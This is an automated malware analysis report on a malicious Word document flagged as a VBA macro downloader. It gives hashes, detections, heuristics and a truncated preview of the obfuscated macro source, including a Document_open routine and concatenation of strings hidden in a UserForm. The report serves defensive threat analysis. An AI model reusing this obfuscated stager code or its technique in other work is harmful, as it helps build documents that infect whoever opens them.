Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ffd68b18c88ffabb…

MALICIOUS

Office (OLE)

200.5 KB Created: 2019-12-19 18:24:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 2ff6c5e7b27157c11bfd43e2891f0369 SHA-1: 463151bf4c7c409fa330a3ebf2c9cea7dc1edae1 SHA-256: ffd68b18c88ffabbe7a5ad0707e10c5cc1cc6f7d762f068f3427b8b96cd53c95
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject and GetObject calls. Critical heuristics indicate a hidden UserForm command stager, suggesting the macro is designed to execute arbitrary code. ClamAV detection further confirms its malicious nature. The primary technique observed is the use of Visual Basic for Application (VBA) to execute a payload, likely a downloader.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-7465787-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-7465787-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13482 bytes
SHA-256: 74993a92fa97214dd96a5d2b5327e33f004aeade4c4d427161da4a8c20688aac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Gnlsjjcusjt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Tyrrybltzn, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Qwricmxm = "Ut id dolores."
Dim Lzhxfjzzleppp As Boolean
Dim Loifvdblox As Boolean
Ynducukqmfkl = ("Ea saepe laudantium.")
Dim Uiglahhx As Boolean
Dim Ohbuknsahpamh As Double
Dim Vetyfexasit As Boolean
Wqmbvgfv = Gymjdpbiawx
Dim Oymsrgjm As Boolean
Qeqczqbesc = ("Minus.")
Dim Zsutkqzsie As Boolean
Dim Ycjnoojdpqw As String
Dim Ncryrfdnby As Integer
Xvsnyalmcdwgn = "Est maxime maxime quasi amet laudantium non voluptatem provident illo."
Dim Slxjvpgx As Double
Dim Uqznawepq As String
Dim Rqqpkskjfllc As Integer
Beoxiqxdfe = ("Atque.")
Dim Ybgsqxylav As Integer
Lwwoiwioydys = 757
Hbvokmgyticn = Eqkgxumluju
Vovcndypwpmk = 522
Vuhplzipf
   Turzduvvbcf = "Omnis."
Dim Elbexdzznadjz As Integer
Dim Bvofppzpldz As String
Bjerkkqkpi = ("Corporis saepe est.")
Dim Aogtnqdmiu As Boolean
Dim Zbhfwqbxsoy As String
Dim Lyosclmfupatv As Double
Vydhcqsjdl = Gkrlqcxbrptfi
Dim Elglbsobu As String
Bftplhomfudd = ("Ut.")
Dim Xvvgexyiinx As Double
Dim Ngsixbyasicdm As String
Dim Onbivudwtvpnt As Boolean
Gsoiagnmgcmqe = "Praesentium qui harum vitae aut tempora non possimus."
Dim Csgctvmobejj As Integer
Dim Hnfivbkpeqp As Boolean
Dim Vfieyjas As Double
Qybtdmdrw = ("Nihil ut.")
Dim Yogijlinoqmst As Integer
Tzlaxvkhoj = 220
Gdaztmcxq = Pxreiqeghctte
Qdnhsypdbknqt = 680
End Sub

Attribute VB_Name = "Xkfmmyhafmld"
Attribute VB_Base = "0{D14E4E48-EC5B-4887-917E-DC4373B55729}{1A07E5C1-5FCE-4FC3-947F-E503CE5A5280}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Yxbehrezggej"
Function Ikyxpzyxt()
   Hnsxbhpuspn = "Voluptatem nulla itaque."
Dim Omyfpambijf As Boolean
Dim Tqeioqyqx As Integer
Rbwyotjjrznj = ("Ab et.")
Dim Eugozemnvo As String
Dim Jawdyqadooe As String
Dim Oawtgfhlxjw As Double
Yhhefhzx = Mnbxiowqqs
Dim Epupjrelra As Boolean
Sswjiwnpfrkff = ("Rerum.")
Dim Xbtgybndrkpyi As String
Dim Rlbefqsmhtflf As Boolean
Dim Okbtgkxtn As Boolean
Oeztxfwh = "Et enim nostrum."
Dim Eachfplmtpiqm As Double
Dim Xomntsnjb As Double
Dim Movzoyngkky As Boolean
Umhufvyr = ("Cum quibusdam nobis eligendi vel occaecati qui.")
Dim Aqjtfgqqbgr As Boolean
Rtbjdfluydlth = 122
Efdvizviffhz = Xfjsopaeluls
Nxaxvwlv = 847
Ulptxaqkicz = Gnlsjjcusjt.Tyrrybltzn
   Nkenoqgnfedv = "Nicholas"
Dim Hbuzqzvh As Boolean
Dim Iydsfxcz As Double
Njhqcmiatizx = ("Delectus quibusdam voluptatum.")
Dim Oohdkewfzbeqm As String
Dim Icdxdnyte As Integer
Dim Qvocdlbh As Double
Pzptwijglmzu = Fvatjqvdgg
Dim Rxxtofkp As Integer
Odhfomsj = ("Rerum illo itaque.")
Dim Bdwhkiymwmsif As Double
Dim Mjrxtkdschxl As Boolean
Dim Ilwbrzna As String
Ghxsglfynn = "Vitae ipsam."
Dim Amkmylua As String
Dim Uknbvgnuemuir As Double
Dim Klrcyxqagk As Double
Fbcfowjnnfe = ("Samuel")
Dim Ksjpiruyznzdy As Double
Djhqkpitbgfmh = 707
Fhbdnfglysptf = Cqhkjdyo
Cyhjcfnyai = 72
Usmlrmbv = Ulptxaqkicz + Xkfmmyhafmld.Nhhzvrtq + Xkfmmyhafmld.Sseiiywgxzliw + Xkfmmyhafmld.Zjmiihfrc
   Iknqxilmlad = "Ut repellat."
Dim Wqdoicerjdrt As Integer
Dim Djeojwsrgzhz As String
Gqwyeiwh = ("Rerum dolores corrupti accusantium eaque beatae.")
Dim Ipyvygwxvnh As Boolean
Dim Mtodfkegj As Double
Dim Kthtotyv As Integer
Guywszdjdrs = Keqerxyjzs
Dim Fzcjcolwrg As Integer
Hmkbxfglhiw = ("Aut sunt sint qui.")
Dim Ohyhfgcdknzaa As Double
Dim Hhseezxe As Double
Dim Ltlidwdnkohno As Boolean
Xmwzlaxeeeaqs = "Dale"
Dim Qclkunqvhqwmq As Double
Dim Tsfehnbfbwoo As String
Dim Dfkdlxeb As Integer
Mhroionhrjkh = ("Laborum sapiente.")
Dim Clpxjnfyire As Boolean
Jeppronsaw = 334
Mjhwytvuwazih =
... (truncated)

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